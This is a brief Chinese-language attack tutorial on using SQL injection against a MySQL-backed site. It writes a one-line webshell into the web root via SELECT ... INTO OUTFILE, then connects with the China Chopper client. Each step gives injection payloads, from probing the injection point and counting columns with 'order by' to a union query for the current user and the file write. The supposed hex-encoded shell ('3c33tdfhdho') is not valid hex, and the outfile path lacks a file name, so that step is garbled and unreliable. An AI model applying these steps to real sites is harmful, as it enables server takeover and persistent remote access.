原理：利用MySQL中的写命令into outfile(固定式：select A into outfile B),在目标Web虚拟路径D:/WWW/下面生成一个木马文件 工具：中国菜刀
1.首先查找SQL注入点
使用单引号’报错，使用and 1=1页面正常和and 1=2页面不正常，来判断存在SQL注入
2.使用order by猜测字段数量
id=1+order+by+2–+ //使用order by时，只有在使用比正确的值大时才会报错
3.使用union查询当前用户
id=1+union+select+user(),2–+ //当前用户为root, 猜测可能是file权限
4.写一句话木马到网站路径，木马要写成16进制
id=1+union+select+3c33tdfhdho,2 into outfile ‘D:/www/’–+
5.菜刀连接
输入木马保存路径：D:\www\